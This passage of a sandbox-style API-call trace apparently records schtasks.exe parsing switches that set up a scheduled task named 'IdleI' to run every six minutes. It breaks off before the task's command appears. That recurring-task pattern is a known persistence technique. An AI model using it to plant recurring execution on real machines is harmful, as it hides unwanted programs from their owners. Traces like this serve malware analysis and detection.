_ArgList=0x17f338 | out: _Buffer="|?|") returned 3 [0133.401] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tn|") returned 4 [0133.401] lstrlenW (lpString="|?|") returned 3 [0133.401] lstrlenW (lpString="|tn|") returned 4 [0133.402] SetLastError (dwErrCode=0x490) [0133.402] lstrlenW (lpString="create") returned 6 [0133.402] lstrlenW (lpString="create") returned 6 [0133.402] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.402] lstrlenW (lpString="tn") returned 2 [0133.402] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.402] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|create|") returned 8 [0133.402] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tn|") returned 4 [0133.402] lstrlenW (lpString="|create|") returned 8 [0133.402] lstrlenW (lpString="|tn|") returned 4 [0133.402] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0133.402] SetLastError (dwErrCode=0x490) [0133.402] lstrlenW (lpString="delete") returned 6 [0133.402] lstrlenW (lpString="delete") returned 6 [0133.402] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.402] lstrlenW (lpString="tn") returned 2 [0133.402] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.402] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|delete|") returned 8 [0133.402] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tn|") returned 4 [0133.402] lstrlenW (lpString="|delete|") returned 8 [0133.402] lstrlenW (lpString="|tn|") returned 4 [0133.402] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0133.402] SetLastError (dwErrCode=0x490) [0133.402] lstrlenW (lpString="query") returned 5 [0133.402] lstrlenW (lpString="query") returned 5 [0133.403] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.403] lstrlenW (lpString="tn") returned 2 [0133.403] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.403] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|query|") returned 7 [0133.403] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tn|") returned 4 [0133.403] lstrlenW (lpString="|query|") returned 7 [0133.403] lstrlenW (lpString="|tn|") returned 4 [0133.403] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0133.403] SetLastError (dwErrCode=0x490) [0133.403] lstrlenW (lpString="change") returned 6 [0133.403] lstrlenW (lpString="change") returned 6 [0133.403] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.403] lstrlenW (lpString="tn") returned 2 [0133.403] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.403] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|change|") returned 8 [0133.403] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tn|") returned 4 [0133.403] lstrlenW (lpString="|change|") returned 8 [0133.403] lstrlenW (lpString="|tn|") returned 4 [0133.403] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0133.403] SetLastError (dwErrCode=0x490) [0133.404] lstrlenW (lpString="run") returned 3 [0133.404] lstrlenW (lpString="run") returned 3 [0133.404] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.404] lstrlenW (lpString="tn") returned 2 [0133.404] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.404] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|run|") returned 5 [0133.404] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tn|") returned 4 [0133.404] lstrlenW (lpString="|run|") returned 5 [0133.404] lstrlenW (lpString="|tn|") returned 4 [0133.404] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0133.404] SetLastError (dwErrCode=0x490) [0133.404] lstrlenW (lpString="end") returned 3 [0133.404] lstrlenW (lpString="end") returned 3 [0133.404] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.404] lstrlenW (lpString="tn") returned 2 [0133.404] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.404] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|end|") returned 5 [0133.404] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tn|") returned 4 [0133.404] lstrlenW (lpString="|end|") returned 5 [0133.404] lstrlenW (lpString="|tn|") returned 4 [0133.404] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0133.404] SetLastError (dwErrCode=0x490) [0133.404] lstrlenW (lpString="showsid") returned 7 [0133.404] lstrlenW (lpString="showsid") returned 7 [0133.404] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.405] GetProcessHeap () returned 0x2b0000 [0133.405] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc1d0) returned 1 [0133.405] GetProcessHeap () returned 0x2b0000 [0133.406] RtlReAllocateHeap (Heap=0x2b0000, Flags=0xc, Ptr=0x2cc1d0, Size=0x16) returned 0x2cc1d0 [0133.406] lstrlenW (lpString="tn") returned 2 [0133.406] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.406] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|showsid|") returned 9 [0133.406] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tn|") returned 4 [0133.406] lstrlenW (lpString="|showsid|") returned 9 [0133.406] lstrlenW (lpString="|tn|") returned 4 [0133.406] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0133.406] SetLastError (dwErrCode=0x490) [0133.406] SetLastError (dwErrCode=0x490) [0133.406] SetLastError (dwErrCode=0x0) [0133.406] lstrlenW (lpString="/tn") returned 3 [0133.406] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0133.406] SetLastError (dwErrCode=0x490) [0133.406] SetLastError (dwErrCode=0x0) [0133.406] lstrlenW (lpString="/tn") returned 3 [0133.406] GetProcessHeap () returned 0x2b0000 [0133.406] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8) returned 0x2cc170 [0133.406] GetProcessHeap () returned 0x2b0000 [0133.406] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccb80 [0133.406] SetLastError (dwErrCode=0x0) [0133.406] SetLastError (dwErrCode=0x0) [0133.406] lstrlenW (lpString="IdleI") returned 5 [0133.406] lstrlenW (lpString="-/") returned 2 [0133.406] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0 [0133.407] SetLastError (dwErrCode=0x490) [0133.407] SetLastError (dwErrCode=0x490) [0133.407] SetLastError (dwErrCode=0x0) [0133.407] lstrlenW (lpString="IdleI") returned 5 [0133.407] StrChrIW (lpStart="IdleI", wMatch=0x3a) returned 0x0 [0133.407] SetLastError (dwErrCode=0x490) [0133.407] SetLastError (dwErrCode=0x0) [0133.407] lstrlenW (lpString="IdleI") returned 5 [0133.407] GetProcessHeap () returned 0x2b0000 [0133.407] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xc) returned 0x2cd470 [0133.407] GetProcessHeap () returned 0x2b0000 [0133.407] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccbb0 [0133.407] SetLastError (dwErrCode=0x0) [0133.407] SetLastError (dwErrCode=0x0) [0133.407] lstrlenW (lpString="/sc") returned 3 [0133.407] lstrlenW (lpString="-/") returned 2 [0133.407] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.407] lstrlenW (lpString="?") returned 1 [0133.407] lstrlenW (lpString="?") returned 1 [0133.407] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.407] lstrlenW (lpString="sc") returned 2 [0133.407] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.407] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|?|") returned 3 [0133.407] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|sc|") returned 4 [0133.407] lstrlenW (lpString="|?|") returned 3 [0133.407] lstrlenW (lpString="|sc|") returned 4 [0133.407] SetLastError (dwErrCode=0x490) [0133.407] lstrlenW (lpString="create") returned 6 [0133.408] lstrlenW (lpString="create") returned 6 [0133.408] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.408] lstrlenW (lpString="sc") returned 2 [0133.408] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.408] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|create|") returned 8 [0133.408] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|sc|") returned 4 [0133.408] lstrlenW (lpString="|create|") returned 8 [0133.408] lstrlenW (lpString="|sc|") returned 4 [0133.408] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0133.408] SetLastError (dwErrCode=0x490) [0133.408] lstrlenW (lpString="delete") returned 6 [0133.408] lstrlenW (lpString="delete") returned 6 [0133.408] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.408] lstrlenW (lpString="sc") returned 2 [0133.408] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.408] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|delete|") returned 8 [0133.408] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|sc|") returned 4 [0133.408] lstrlenW (lpString="|delete|") returned 8 [0133.408] lstrlenW (lpString="|sc|") returned 4 [0133.408] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0133.408] SetLastError (dwErrCode=0x490) [0133.408] lstrlenW (lpString="query") returned 5 [0133.408] lstrlenW (lpString="query") returned 5 [0133.408] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.409] lstrlenW (lpString="sc") returned 2 [0133.409] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.409] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|query|") returned 7 [0133.409] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|sc|") returned 4 [0133.409] lstrlenW (lpString="|query|") returned 7 [0133.409] lstrlenW (lpString="|sc|") returned 4 [0133.409] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0133.409] SetLastError (dwErrCode=0x490) [0133.409] lstrlenW (lpString="change") returned 6 [0133.409] lstrlenW (lpString="change") returned 6 [0133.409] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.409] lstrlenW (lpString="sc") returned 2 [0133.409] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.409] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|change|") returned 8 [0133.409] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|sc|") returned 4 [0133.409] lstrlenW (lpString="|change|") returned 8 [0133.409] lstrlenW (lpString="|sc|") returned 4 [0133.409] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0133.409] SetLastError (dwErrCode=0x490) [0133.409] lstrlenW (lpString="run") returned 3 [0133.409] lstrlenW (lpString="run") returned 3 [0133.409] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.409] lstrlenW (lpString="sc") returned 2 [0133.409] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.409] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|run|") returned 5 [0133.409] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|sc|") returned 4 [0133.410] lstrlenW (lpString="|run|") returned 5 [0133.410] lstrlenW (lpString="|sc|") returned 4 [0133.410] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0133.410] SetLastError (dwErrCode=0x490) [0133.410] lstrlenW (lpString="end") returned 3 [0133.410] lstrlenW (lpString="end") returned 3 [0133.410] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.410] lstrlenW (lpString="sc") returned 2 [0133.410] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.410] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|end|") returned 5 [0133.410] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|sc|") returned 4 [0133.410] lstrlenW (lpString="|end|") returned 5 [0133.410] lstrlenW (lpString="|sc|") returned 4 [0133.410] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0133.410] SetLastError (dwErrCode=0x490) [0133.410] lstrlenW (lpString="showsid") returned 7 [0133.410] lstrlenW (lpString="showsid") returned 7 [0133.410] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.410] lstrlenW (lpString="sc") returned 2 [0133.410] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.410] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|showsid|") returned 9 [0133.410] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|sc|") returned 4 [0133.410] lstrlenW (lpString="|showsid|") returned 9 [0133.410] lstrlenW (lpString="|sc|") returned 4 [0133.411] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0133.411] SetLastError (dwErrCode=0x490) [0133.411] SetLastError (dwErrCode=0x490) [0133.411] SetLastError (dwErrCode=0x0) [0133.411] lstrlenW (lpString="/sc") returned 3 [0133.411] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0133.411] SetLastError (dwErrCode=0x490) [0133.411] SetLastError (dwErrCode=0x0) [0133.411] lstrlenW (lpString="/sc") returned 3 [0133.411] GetProcessHeap () returned 0x2b0000 [0133.411] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8) returned 0x2cdc40 [0133.411] GetProcessHeap () returned 0x2b0000 [0133.411] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccbe0 [0133.411] SetLastError (dwErrCode=0x0) [0133.411] SetLastError (dwErrCode=0x0) [0133.411] lstrlenW (lpString="MINUTE") returned 6 [0133.411] lstrlenW (lpString="-/") returned 2 [0133.411] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0133.411] SetLastError (dwErrCode=0x490) [0133.411] SetLastError (dwErrCode=0x490) [0133.411] SetLastError (dwErrCode=0x0) [0133.411] lstrlenW (lpString="MINUTE") returned 6 [0133.411] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0133.411] SetLastError (dwErrCode=0x490) [0133.411] SetLastError (dwErrCode=0x0) [0133.411] lstrlenW (lpString="MINUTE") returned 6 [0133.411] GetProcessHeap () returned 0x2b0000 [0133.411] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd490 [0133.411] GetProcessHeap () returned 0x2b0000 [0133.411] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc10 [0133.412] SetLastError (dwErrCode=0x0) [0133.412] SetLastError (dwErrCode=0x0) [0133.412] lstrlenW (lpString="/mo") returned 3 [0133.412] lstrlenW (lpString="-/") returned 2 [0133.412] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.412] lstrlenW (lpString="?") returned 1 [0133.412] lstrlenW (lpString="?") returned 1 [0133.412] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.412] lstrlenW (lpString="mo") returned 2 [0133.412] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.412] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|?|") returned 3 [0133.412] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|mo|") returned 4 [0133.412] lstrlenW (lpString="|?|") returned 3 [0133.412] lstrlenW (lpString="|mo|") returned 4 [0133.412] SetLastError (dwErrCode=0x490) [0133.412] lstrlenW (lpString="create") returned 6 [0133.412] lstrlenW (lpString="create") returned 6 [0133.412] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.412] lstrlenW (lpString="mo") returned 2 [0133.412] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.412] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|create|") returned 8 [0133.412] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|mo|") returned 4 [0133.412] lstrlenW (lpString="|create|") returned 8 [0133.412] lstrlenW (lpString="|mo|") returned 4 [0133.412] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0133.412] SetLastError (dwErrCode=0x490) [0133.413] lstrlenW (lpString="delete") returned 6 [0133.413] lstrlenW (lpString="delete") returned 6 [0133.413] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.413] lstrlenW (lpString="mo") returned 2 [0133.413] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.413] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|delete|") returned 8 [0133.413] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|mo|") returned 4 [0133.413] lstrlenW (lpString="|delete|") returned 8 [0133.413] lstrlenW (lpString="|mo|") returned 4 [0133.413] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0133.413] SetLastError (dwErrCode=0x490) [0133.413] lstrlenW (lpString="query") returned 5 [0133.413] lstrlenW (lpString="query") returned 5 [0133.413] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.413] lstrlenW (lpString="mo") returned 2 [0133.413] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.413] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|query|") returned 7 [0133.413] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|mo|") returned 4 [0133.413] lstrlenW (lpString="|query|") returned 7 [0133.413] lstrlenW (lpString="|mo|") returned 4 [0133.413] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0133.413] SetLastError (dwErrCode=0x490) [0133.413] lstrlenW (lpString="change") returned 6 [0133.413] lstrlenW (lpString="change") returned 6 [0133.414] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.414] lstrlenW (lpString="mo") returned 2 [0133.414] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.414] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|change|") returned 8 [0133.414] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|mo|") returned 4 [0133.414] lstrlenW (lpString="|change|") returned 8 [0133.414] lstrlenW (lpString="|mo|") returned 4 [0133.414] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0133.414] SetLastError (dwErrCode=0x490) [0133.414] lstrlenW (lpString="run") returned 3 [0133.414] lstrlenW (lpString="run") returned 3 [0133.414] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.414] lstrlenW (lpString="mo") returned 2 [0133.414] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.414] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|run|") returned 5 [0133.414] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|mo|") returned 4 [0133.414] lstrlenW (lpString="|run|") returned 5 [0133.414] lstrlenW (lpString="|mo|") returned 4 [0133.414] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0133.414] SetLastError (dwErrCode=0x490) [0133.414] lstrlenW (lpString="end") returned 3 [0133.414] lstrlenW (lpString="end") returned 3 [0133.414] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.414] lstrlenW (lpString="mo") returned 2 [0133.414] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.415] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|end|") returned 5 [0133.415] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|mo|") returned 4 [0133.415] lstrlenW (lpString="|end|") returned 5 [0133.415] lstrlenW (lpString="|mo|") returned 4 [0133.415] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0133.415] SetLastError (dwErrCode=0x490) [0133.415] lstrlenW (lpString="showsid") returned 7 [0133.415] lstrlenW (lpString="showsid") returned 7 [0133.415] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.415] lstrlenW (lpString="mo") returned 2 [0133.415] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.415] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|showsid|") returned 9 [0133.415] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|mo|") returned 4 [0133.415] lstrlenW (lpString="|showsid|") returned 9 [0133.415] lstrlenW (lpString="|mo|") returned 4 [0133.415] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0133.415] SetLastError (dwErrCode=0x490) [0133.415] SetLastError (dwErrCode=0x490) [0133.415] SetLastError (dwErrCode=0x0) [0133.415] lstrlenW (lpString="/mo") returned 3 [0133.415] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0133.415] SetLastError (dwErrCode=0x490) [0133.415] SetLastError (dwErrCode=0x0) [0133.415] lstrlenW (lpString="/mo") returned 3 [0133.415] GetProcessHeap () returned 0x2b0000 [0133.415] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8) returned 0x2cdc60 [0133.416] GetProcessHeap () returned 0x2b0000 [0133.416] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc40 [0133.416] SetLastError (dwErrCode=0x0) [0133.416] SetLastError (dwErrCode=0x0) [0133.416] lstrlenW (lpString="6") returned 1 [0133.416] SetLastError (dwErrCode=0x490) [0133.416] SetLastError (dwErrCode=0x0) [0133.416] lstrlenW (lpString="6") returned 1 [0133.416] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0133.416] SetLastError (dwErrCode=0x490) [0133.416] SetLastError (dwErrCode=0x0) [0133.416] lstrlenW (lpString="6") returned 1 [0133.416] GetProcessHeap () returned 0x2b0000 [0133.416] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x4) returned 0x2cdc80 [0133.416] GetProcessHeap () returned 0x2b0000 [0133.416] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc70 [0133.416] SetLastError (dwErrCode=0x0) [0133.416] SetLastError (dwErrCode=0x0) [0133.416] lstrlenW (lpString="/tr") returned 3 [0133.416] lstrlenW (lpString="-/") returned 2 [0133.416] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.416] lstrlenW (lpString="?") returned 1 [0133.416] lstrlenW (lpString="?") returned 1 [0133.416] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.416] lstrlenW (lpString="tr") returned 2 [0133.416] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.416] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|?|") returned 3 [0133.416] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tr|") returned 4 [0133.417] lstrlenW (lpString="|?|") returned 3 [0133.417] lstrlenW (lpString="|tr|") returned 4 [0133.417] SetLastError (dwErrCode=0x490) [0133.417] lstrlenW (lpString="create") returned 6 [0133.417] lstrlenW (lpString="create") returned 6 [0133.417] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.417] lstrlenW (lpString="tr") returned 2 [0133.417] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.417] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|create|") returned 8 [0133.417] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tr|") returned 4 [0133.417] lstrlenW (lpString="|create|") returned 8 [0133.417] lstrlenW (lpString="|tr|") returned 4 [0133.417] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0133.417] SetLastError (dwErrCode=0x490) [0133.417] lstrlenW (lpString="delete") returned 6 [0133.417] lstrlenW (lpString="delete") returned 6 [0133.417] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.417] lstrlenW (lpString="tr") returned 2 [0133.417] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.417] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|delete|") returned 8 [0133.417] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tr|") returned 4 [0133.417] lstrlenW (lpString="|delete|") returned 8 [0133.417] lstrlenW (lpString="|tr|") returned 4 [0133.418] StrStrIW 